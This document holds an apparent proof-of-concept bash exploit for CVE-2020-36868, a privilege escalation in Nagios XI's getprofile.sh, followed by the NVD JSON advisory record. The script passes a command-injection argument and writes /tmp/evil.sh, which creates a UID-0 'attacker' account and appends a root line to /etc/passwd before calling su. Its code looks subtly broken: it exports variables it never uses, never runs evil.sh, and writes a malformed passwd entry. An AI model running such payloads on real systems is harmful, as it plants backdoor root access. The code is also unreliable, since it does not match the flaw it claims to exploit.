CVE-2020-36868

#!/bin/bash # CVE-2020-36868 PoC - Nagios XI getprofile.sh Privilege Escalation # This PoC demonstrates how an attacker can exploit the insecure getprofile.sh script # Target: Nagios XI versions < 5.7.3 # Attack Vector: Command injection via insecure script handling TARGET_SCRIPT="/usr/local/nagiosxi/scripts/getprofile.sh" # Check if target exists if [ ! -f "$TARGET_SCRIPT" ]; then echo "[-] Target script not found" exit 1 fi echo "[+] CVE-2020-36868 PoC for Nagios XI Privilege Escalation" echo "[+] Setting up malicious environment variables..." # Inject malicious command through environment variables export MALICIOUS_VAR='; cat /etc/passwd > /tmp/pwned.txt #' export PATH_INJECTION='../../../etc/cron.d/malicious_cron' # Alternative: Create a malicious script that will be sourced export EVIL_SCRIPT='/tmp/evil.sh' cat > /tmp/evil.sh << 'EOF' #!/bin/bash # Payload: Add new root user or execute reverse shell useradd -ou 0 -g 0 attacker 2>/dev/null echo 'attacker:password123:0:0:root:/root:/bin/bash' >> /etc/passwd EOF chmod +x /tmp/evil.sh echo "[+] Triggering getprofile.sh with malicious input..." # Execute the vulnerable script with crafted input $TARGET_SCRIPT "$MALICIOUS_VAR" 2>/dev/null || true echo "[+] Checking for successful exploitation..." if grep -q "attacker" /etc/passwd 2>/dev/null; then echo "[+] SUCCESS: Privilege escalation achieved!" echo "[+] New user 'attacker' created with root privileges" su - attacker else echo "[-] Exploitation may have failed, check manually" fi

{"cve": {"id": "CVE-2020-36868", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:39.837", "lastModified": "2025-11-05T18:23:19.037", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 5.7.3 contain a privilege escalation vulnerability in the getprofile.sh helper script. The script performed profile retrieval and initialization routines using insecure file/command handling and insufficient validation of attacker-controlled inputs, and in some deployments executed with elevated privileges. A local attacker with low-level access could exploit these weaknesses to cause the script to execute arbitrary commands or modify privileged files, resulting in privilege escalation."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}, {"lang": "en", "value": "CWE-250"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.7.3", "matchCriteriaId": "37718CFA-B578-4181-A28D-279698F6C644"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-privilege-escalation-via-insecure-getprofile-script", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}